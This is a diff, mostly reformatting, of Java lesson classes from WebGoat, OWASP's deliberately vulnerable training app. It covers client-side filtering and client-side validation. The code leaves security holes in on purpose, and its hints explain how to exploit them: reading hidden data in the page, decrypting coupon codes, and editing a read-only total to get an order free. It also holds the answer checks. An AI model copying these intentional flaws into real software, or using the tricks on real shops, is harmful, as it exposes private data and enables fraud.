.setWidth("90%").setAlign("center");
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement("UserID")); tr.addElement(new TD().addElement("UserID"));
@ -113,7 +113,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
workspaceDiv.addElement(t); workspaceDiv.addElement(t);
} catch (Exception e) { } catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
@ -127,29 +128,34 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
* @return The category value * @return The category value
*/ */
protected ElementContainer doStage1(WebSession s) { protected ElementContainer doStage1(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer answerString = null; StringBuffer answerString = null;
int answer = 0; int answer = 0;
try { try
answerString = new StringBuffer(s.getParser().getStringParameter( {
ANSWER, "")); answerString = new StringBuffer(s.getParser().getStringParameter(ANSWER, ""));
answer = Integer.parseInt(answerString.toString()); answer = Integer.parseInt(answerString.toString());
} catch (NumberFormatException e) { } catch (NumberFormatException e)
{
// e.printStackTrace(); // e.printStackTrace();
} }
if (answer == 450000) { if (answer == 450000)
{
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed."); s.setMessage("Stage 1 completed.");
// Redirect user to Stage2 content. // Redirect user to Stage2 content.
ec.addElement(doStage2(s)); ec.addElement(doStage2(s));
} else { }
else
{
ec.addElement(stage1Content(s)); ec.addElement(stage1Content(s));
} }
@ -157,7 +163,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
} }
protected Element doStage2(WebSession s) { protected Element doStage2(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
/** /**
@ -168,31 +175,36 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
String file = s.getWebResource("lessons/Ajax/clientSideFiltering.jsp"); String file = s.getWebResource("lessons/Ajax/clientSideFiltering.jsp");
String content = getFileContent(file); String content = getFileContent(file);
if (content.indexOf("[Managers/Manager/text()") != -1) { if (content.indexOf("[Managers/Manager/text()") != -1)
{
makeSuccess(s); makeSuccess(s);
ec.addElement(stage2Content(s)); ec.addElement(stage2Content(s));
} else { }
else
{
ec.addElement(stage2Content(s)); ec.addElement(stage2Content(s));
} }
return ec; return ec;
} }
protected ElementContainer stage1Content(WebSession s) { protected ElementContainer stage1Content(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try { try
{
ec.addElement(createMainContent(s)); ec.addElement(createMainContent(s));
Table t1 = new Table().setCellSpacing(0).setCellPadding(2); Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor()) { if (s.isColor())
{
t1.setBorder(1); t1.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD() tr.addElement(new TD().addElement("What is Neville Bartholomew's salary? "));
.addElement("What is Neville Bartholomew's salary? "));
tr.addElement(new TD(new Input(Input.TEXT, ANSWER, ""))); tr.addElement(new TD(new Input(Input.TEXT, ANSWER, "")));
Element b = ECSFactory.makeButton("Submit Answer"); Element b = ECSFactory.makeButton("Submit Answer");
tr.addElement(new TD(b).setAlign("LEFT")); tr.addElement(new TD(b).setAlign("LEFT"));
@ -200,7 +212,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
ec.addElement(t1); ec.addElement(t1);
} catch (Exception e) { } catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
@ -208,9 +221,11 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
return ec; return ec;
} }
protected ElementContainer stage2Content(WebSession s) { protected ElementContainer stage2Content(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try { try
{
ec.addElement(createMainContent(s)); ec.addElement(createMainContent(s));
@ -219,22 +234,24 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
Table t1 = new Table().setCellSpacing(0).setCellPadding(2); Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor()) { if (s.isColor())
{
t1.setBorder(1); t1.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
/*tr.addElement(new TD() /*
.addElement("Press 'Submit' when you believe you have completed the lesson.")); * tr.addElement(new TD() .addElement("Press 'Submit' when you believe you have
* completed the lesson."));
*/ */
Element b = ECSFactory Element b = ECSFactory.makeButton("Click here when you believe you have completed the lesson.");
.makeButton("Click here when you believe you have completed the lesson.");
tr.addElement(new TD(b).setAlign("CENTER")); tr.addElement(new TD(b).setAlign("CENTER"));
t1.addElement(tr); t1.addElement(tr);
ec.addElement(t1); ec.addElement(t1);
} catch (Exception e) { } catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
@ -242,28 +259,25 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
return ec; return ec;
} }
protected Select createDropDown() { protected Select createDropDown()
{
Select select = new Select("UserSelect"); Select select = new Select("UserSelect");
select.setID("UserSelect"); select.setID("UserSelect");
org.apache.ecs.html.Option option = new org.apache.ecs.html.Option( org.apache.ecs.html.Option option = new org.apache.ecs.html.Option("Choose Employee", "0", "Choose Employee");
"Choose Employee", "0", "Choose Employee");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Larry Stooge", "101", option = new org.apache.ecs.html.Option("Larry Stooge", "101", "Larry Stooge");
"Larry Stooge");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Curly Stooge", "103", option = new org.apache.ecs.html.Option("Curly Stooge", "103", "Curly Stooge");
"Curly Stooge");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Eric Walker", "104", option = new org.apache.ecs.html.Option("Eric Walker", "104", "Eric Walker");
"Eric Walker");
select.addElement(option); select.addElement(option);
@ -271,28 +285,23 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Jerry Mouse", "106", option = new org.apache.ecs.html.Option("Jerry Mouse", "106", "Jerry Mouse");
"Jerry Mouse");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("David Giambi", "107", option = new org.apache.ecs.html.Option("David Giambi", "107", "David Giambi");
"David Giambi");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Bruce McGuirre", "108", option = new org.apache.ecs.html.Option("Bruce McGuirre", "108", "Bruce McGuirre");
"Bruce McGuirre");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Sean Livingston", "109", option = new org.apache.ecs.html.Option("Sean Livingston", "109", "Sean Livingston");
"Sean Livingston");
select.addElement(option); select.addElement(option);
option = new org.apache.ecs.html.Option("Joanne McDougal", "110", option = new org.apache.ecs.html.Option("Joanne McDougal", "110", "Joanne McDougal");
"Joanne McDougal");
select.addElement(option); select.addElement(option);
@ -304,7 +313,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
} }
protected Category getDefaultCategory() { protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
@ -313,17 +323,16 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
* *
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) { public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints
.add("The information displayed when an employee is choosen from the drop down menu is stored on the client side."); .add("The information displayed when an employee is choosen from the drop down menu is stored on the client side.");
hints hints.add("Use Firebug to find where the information is stored on the client side.");
.add("Use Firebug to find where the information is stored on the client side.");
hints hints.add("Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
.add("Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
hints.add("Look in the last row of the hidden table."); hints.add("Look in the last row of the hidden table.");
@ -333,31 +342,33 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
hints.add("The server uses an XPath query agasinst an XML database."); hints.add("The server uses an XPath query agasinst an XML database.");
hints hints.add("The query currently returns all of the contents of the database.");
.add("The query currently returns all of the contents of the database.");
hints hints
.add("The query should only return the information of employees who are managed by Moe Stooge, who's userID is 102"); .add("The query should only return the information of employees who are managed by Moe Stooge, who's userID is 102");
hints.add("Try using a filter operator."); hints.add("Try using a filter operator.");
hints hints.add("your filter operator shoiuld look something like: [Managers/Manager/text()=");
.add("your filter operator shoiuld look something like: [Managers/Manager/text()=");
return hints; return hints;
} }
public String getInstructions(WebSession s) { public String getInstructions(WebSession s)
{
String instructions = ""; String instructions = "";
if (getLessonTracker(s).getStage() == 1) { if (getLessonTracker(s).getStage() == 1)
{
instructions = "STAGE 1:\tYou are Moe Stooge, CSO of Goat Hills Financial. " instructions = "STAGE 1:\tYou are Moe Stooge, CSO of Goat Hills Financial. "
+ "You have access to everyone in the company's information, except the CEO, " + "You have access to everyone in the company's information, except the CEO, "
+ "Neville Bartholomew. Or at least you shouldn't have access to the CEO's information." + "Neville Bartholomew. Or at least you shouldn't have access to the CEO's information."
+ " For this exercise, " + " For this exercise, "
+ "examine the contents of the page to see what extra information you can find."; + "examine the contents of the page to see what extra information you can find.";
} else if (getLessonTracker(s).getStage() == 2) { }
else if (getLessonTracker(s).getStage() == 2)
{
instructions = "STAGE 2:\tNow, fix the problem. Modify the server to only return " instructions = "STAGE 2:\tNow, fix the problem. Modify the server to only return "
+ "results that Moe Stooge is allowed to see."; + "results that Moe Stooge is allowed to see.";
} }
@ -366,7 +377,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() { protected Integer getDefaultRanking()
{
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
@ -392,28 +404,37 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
* @return The title value * @return The title value
*/ */
public String getTitle() { public String getTitle()
{
return ("LAB: Client Side Filtering"); return ("LAB: Client Side Filtering");
} }
private String getFileContent(String content) { private String getFileContent(String content)
{
BufferedReader is = null; BufferedReader is = null;
StringBuffer sb = new StringBuffer(); StringBuffer sb = new StringBuffer();
try { try
{
is = new BufferedReader(new FileReader(new File(content))); is = new BufferedReader(new FileReader(new File(content)));
String s = null; String s = null;
while ((s = is.readLine()) != null) { while ((s = is.readLine()) != null)
{
sb.append(s); sb.append(s);
} }
} catch (Exception e) { } catch (Exception e)
{
e.printStackTrace(); e.printStackTrace();
} finally { } finally
if (is != null) { {
try { if (is != null)
{
try
{
is.close(); is.close();
} catch (IOException ioe) { } catch (IOException ioe)
{
} }
} }
@ -422,7 +443,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
return sb.toString(); return sb.toString();
} }
public Element getCredits() { public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -21,7 +21,9 @@ import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
public class ClientSideValidation extends SequentialLessonAdapter {
public class ClientSideValidation extends SequentialLessonAdapter
{
/** /**
* Description of the Method * Description of the Method
@ -31,48 +33,55 @@ public class ClientSideValidation extends SequentialLessonAdapter {
* @return Description of the Return Value * @return Description of the Return Value
*/ */
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private boolean stage1FirstVisit = true; private boolean stage1FirstVisit = true;
private boolean stage2FirstVisit = true; private boolean stage2FirstVisit = true;
protected Element createContent(WebSession s) { protected Element createContent(WebSession s)
{
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) { protected Element doStage1(WebSession s)
{
return evalStage1(s); return evalStage1(s);
} }
protected Element doStage2(WebSession s) { protected Element doStage2(WebSession s)
{
return stage2Content(s); return stage2Content(s);
} }
protected Element evalStage1(WebSession s) { protected Element evalStage1(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String param1 = s.getParser().getRawParameter("field1", ""); String param1 = s.getParser().getRawParameter("field1", "");
//test success // test success
if (param1.equalsIgnoreCase("platinum") if (param1.equalsIgnoreCase("platinum") || param1.equalsIgnoreCase("gold") || param1.equalsIgnoreCase("silver")
|| param1.equalsIgnoreCase("gold") || param1.equalsIgnoreCase("bronze") || param1.equalsIgnoreCase("pressone")
|| param1.equalsIgnoreCase("silver") || param1.equalsIgnoreCase("presstwo"))
|| param1.equalsIgnoreCase("bronze") {
|| param1.equalsIgnoreCase("pressone")
|| param1.equalsIgnoreCase("presstwo")) {
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
//s.resetHintCount(); // s.resetHintCount();
s.setMessage("Stage 1 completed."); s.setMessage("Stage 1 completed.");
// Redirect user to Stage2 content. // Redirect user to Stage2 content.
ec.addElement(doStage2(s)); ec.addElement(doStage2(s));
} else { }
if (!stage1FirstVisit) { else
{
if (!stage1FirstVisit)
{
s.setMessage("Keep looking for the coupon code."); s.setMessage("Keep looking for the coupon code.");
} }
stage1FirstVisit = false; stage1FirstVisit = false;
@ -84,21 +93,18 @@ public class ClientSideValidation extends SequentialLessonAdapter {
} }
protected Element stage1Content(WebSession s)
protected Element stage1Content(WebSession s) { {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try { try
{
ec.addElement(new Script()
.setSrc("javascript/clientSideValidation.js"));
ec.addElement(new Script().setSrc("javascript/clientSideValidation.js"));
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1() ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart")));
.addElement("Shopping Cart")));
ec.addElement(createQtyTable(s)); ec.addElement(createQtyTable(s));
@ -106,27 +112,26 @@ public class ClientSideValidation extends SequentialLessonAdapter {
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
} catch (Exception e)
{
} catch (Exception e) {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
protected Element stage2Content(WebSession s) { protected Element stage2Content(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try { try
{
ec.addElement(new Script() ec.addElement(new Script().setSrc("javascript/clientSideValidation.js"));
.setSrc("javascript/clientSideValidation.js"));
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1() ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart")));
.addElement("Shopping Cart")));
ec.addElement(createQtyTable(s)); ec.addElement(createQtyTable(s));
@ -136,62 +141,63 @@ public class ClientSideValidation extends SequentialLessonAdapter {
// test success // test success
float grandTotal = s.getParser() float grandTotal = s.getParser().getFloatParameter("GRANDTOT", 0.0f);
.getFloatParameter("GRANDTOT", 0.0f);
if (getTotalQty(s) > 0 && grandTotal == 0 && !stage2FirstVisit) { if (getTotalQty(s) > 0 && grandTotal == 0 && !stage2FirstVisit)
{
makeSuccess(s); makeSuccess(s);
} else { }
else
{
if (!stage2FirstVisit) { if (!stage2FirstVisit)
{
s.setMessage("Your order isn't free yet."); s.setMessage("Your order isn't free yet.");
} }
stage2FirstVisit = false; stage2FirstVisit = false;
} }
} catch (Exception e) { } catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
protected ElementContainer createTotalTable(WebSession s) { protected ElementContainer createTotalTable(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String param1 = s.getParser().getRawParameter("field1", ""); String param1 = s.getParser().getRawParameter("field1", "");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter( String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
"field2", "4128 3214 0002 1999"));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
if (s.isColor()) { if (s.isColor())
{
t.setBorder(1); t.setBorder(1);
} }
ec.addElement(new BR()); ec.addElement(new BR());
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD() tr.addElement(new TD().addElement("Total before coupon is applied:"));
.addElement("Total before coupon is applied:"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "SUBTOT", s.getParser() new Input(Input.TEXT, "SUBTOT", s.getParser().getStringParameter("SUBTOT",
.getStringParameter("SUBTOT", "0")).setReadOnly(true)) "0"))
.setAlign("right")); .setReadOnly(true)).setAlign("right"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD() tr.addElement(new TD().addElement("Total to be charged to your credit card:"));
.addElement("Total to be charged to your credit card:"));
tr.addElement(new TD() tr.addElement(new TD().addElement(
.addElement( new Input(Input.TEXT, "GRANDTOT", s.getParser()
new Input(Input.TEXT, "GRANDTOT", s.getParser() .getStringParameter("GRANDTOT", "0")).setReadOnly(true))
.getStringParameter("GRANDTOT", "0")) .setAlign("right"));
.setReadOnly(true)).setAlign("right"));
t.addElement(tr); t.addElement(tr);
t.addElement(tr); t.addElement(tr);
@ -201,8 +207,7 @@ public class ClientSideValidation extends SequentialLessonAdapter {
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:")); tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2)));
param2)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Enter your coupon code:")); tr.addElement(new TD().addElement("Enter your coupon code:"));
@ -222,7 +227,8 @@ public class ClientSideValidation extends SequentialLessonAdapter {
} }
protected int getTotalQty(WebSession s) { protected int getTotalQty(WebSession s)
{
int quantity = 0; int quantity = 0;
@ -234,36 +240,33 @@ public class ClientSideValidation extends SequentialLessonAdapter {
return quantity; return quantity;
} }
protected ElementContainer createQtyTable(WebSession s) { protected ElementContainer createQtyTable(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1) Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
if (s.isColor()) { if (s.isColor())
{
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now") tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("70%"));
.setWidth("70%"));
tr.addElement(new TH().addElement("Price").setWidth("10%")); tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("10%")); tr.addElement(new TH().addElement("Quantity").setWidth("10%"));
tr.addElement(new TH().addElement("Total").setWidth("10%")); tr.addElement(new TH().addElement("Total").setWidth("10%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
.addElement(new TD()
.addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC1", s.getParser().getStringParameter( new Input(Input.TEXT, "PRC1", s.getParser().getStringParameter("PRC1",
"PRC1", "69.99")).setSize(10).setReadOnly(true)).setAlign("right")); "69.99"))
.setSize(10).setReadOnly(true)).setAlign("right"));
Input input = new Input(Input.TEXT, "QTY1", s.getParser() Input input = new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "0"));
.getStringParameter("QTY1", "0"));
input.setOnKeyUp("updateTotals();"); input.setOnKeyUp("updateTotals();");
input.setOnLoad("updateTotals();"); input.setOnLoad("updateTotals();");
@ -271,84 +274,78 @@ public class ClientSideValidation extends SequentialLessonAdapter {
tr.addElement(new TD().addElement(input).setAlign("right")); tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD()
new Input(Input.TEXT, "TOT1", s.getParser().getStringParameter( .addElement(
"TOT1", "0")).setSize(10).setReadOnly(true)).setAlign("right")); new Input(Input.TEXT, "TOT1", s.getParser().getStringParameter("TOT1", "0")).setSize(10)
.setReadOnly(true)).setAlign("right"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case")); tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC2", s.getParser().getStringParameter( new Input(Input.TEXT, "PRC2", s.getParser().getStringParameter("PRC2",
"PRC2", "27.99")).setSize(10).setReadOnly(true)).setAlign("right")); "27.99"))
.setSize(10).setReadOnly(true)).setAlign("right"));
input = new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter( input = new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "0"));
"QTY2", "0"));
input.setOnKeyUp("updateTotals();"); input.setOnKeyUp("updateTotals();");
input.setSize(10); input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right")); tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD()
new Input(Input.TEXT, "TOT2", s.getParser().getStringParameter( .addElement(
"TOT2", "0")).setSize(10).setReadOnly(true)).setAlign("right")); new Input(Input.TEXT, "TOT2", s.getParser().getStringParameter("TOT2", "0")).setSize(10)
.setReadOnly(true)).setAlign("right"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
.addElement(new TD()
.addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC3", s.getParser().getStringParameter( new Input(Input.TEXT, "PRC3", s.getParser().getStringParameter("PRC3",
"PRC3", "1599.99")).setSize(10).setReadOnly(true)) "1599.99"))
.setAlign("right")); .setSize(10).setReadOnly(true)).setAlign("right"));
input = new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter( input = new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "0"));
"QTY3", "0"));
input.setOnKeyUp("updateTotals();"); input.setOnKeyUp("updateTotals();");
input.setSize(10); input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right")); tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD()
tr.addElement(new TD().addElement( .addElement(
new Input(Input.TEXT, "TOT3", s.getParser().getStringParameter( new Input(Input.TEXT, "TOT3", s.getParser().getStringParameter("TOT3", "0")).setSize(10)
"TOT3", "0")).setSize(10).setReadOnly(true)).setAlign("right")); .setReadOnly(true)).setAlign("right"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
.addElement(new TD()
.addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC4", s.getParser().getStringParameter("PRC4",
"299.99"))
.setSize(10).setReadOnly(true)).setAlign("right"));
tr input = new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "0"));
.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC4", s.getParser()
.getStringParameter("PRC4", "299.99")).setSize(10)
.setReadOnly(true)).setAlign("right"));
input = new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter(
"QTY4", "0"));
input.setOnKeyUp("updateTotals();"); input.setOnKeyUp("updateTotals();");
input.setSize(10); input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right")); tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD()
tr.addElement(new TD().addElement( .addElement(
new Input(Input.TEXT, "TOT4", s.getParser().getStringParameter( new Input(Input.TEXT, "TOT4", s.getParser().getStringParameter("TOT4", "0")).setSize(10)
"TOT4", "0")).setSize(10).setReadOnly(true)).setAlign("right")); .setReadOnly(true)).setAlign("right"));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
return ec; return ec;
} }
protected Category getDefaultCategory() { protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
@ -358,27 +355,21 @@ public class ClientSideValidation extends SequentialLessonAdapter {
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) public List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Use Firebug to examine the JavaScript."); hints.add("Use Firebug to examine the JavaScript.");
hints.add("Using Firebug, you can add breakpoints in the JavaScript."); hints.add("Using Firebug, you can add breakpoints in the JavaScript.");
hints.add("Use Firebug to find the array of encrypted coupon codes, and " + hints.add("Use Firebug to find the array of encrypted coupon codes, and "
"step through the JavaScript to see the decrypted values."); + "step through the JavaScript to see the decrypted values.");
hints.add("You can use Firebug to inspect (and modify) the HTML."); hints.add("You can use Firebug to inspect (and modify) the HTML.");
hints.add("Use Firebug to remove the 'readonly' attribute from the input next to " + hints.add("Use Firebug to remove the 'readonly' attribute from the input next to "
"'The total charged to your credit card:' and set the value to 0."); + "'The total charged to your credit card:' and set the value to 0.");
return hints; return hints;
@ -389,13 +380,16 @@ public class ClientSideValidation extends SequentialLessonAdapter {
* *
* @return The instructions value * @return The instructions value
*/ */
public String getInstructions(WebSession s) { public String getInstructions(WebSession s)
{
String instructions = ""; String instructions = "";
if (getLessonTracker(s).getStage() == 1) { if (getLessonTracker(s).getStage() == 1)
{
instructions = "STAGE 1:\tFor this exercise, your mission is to discover a coupon code to receive an unintended discount."; instructions = "STAGE 1:\tFor this exercise, your mission is to discover a coupon code to receive an unintended discount.";
} }
else if (getLessonTracker(s).getStage() == 2) { else if (getLessonTracker(s).getStage() == 2)
{
instructions = "STAGE 2:\tNow, try to get your entire order for free."; instructions = "STAGE 2:\tNow, try to get your entire order for free.";
} }
return (instructions); return (instructions);
@ -403,7 +397,8 @@ public class ClientSideValidation extends SequentialLessonAdapter {
private final static Integer DEFAULT_RANKING = new Integer(120); private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() { protected Integer getDefaultRanking()
{
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
@ -412,12 +407,13 @@ public class ClientSideValidation extends SequentialLessonAdapter {
* *
* @return The title value * @return The title value
*/ */
public String getTitle() { public String getTitle()
{
return "Insecure Client Storage"; return "Insecure Client Storage";
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.File; import java.io.File;
@ -5,7 +6,6 @@ import java.util.ArrayList;
import java.util.Arrays; import java.util.Arrays;
import java.util.List; import java.util.List;
import java.util.StringTokenizer; import java.util.StringTokenizer;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -17,337 +17,297 @@ import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.Exec; import org.owasp.webgoat.util.Exec;
import org.owasp.webgoat.util.ExecResults; import org.owasp.webgoat.util.ExecResults;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
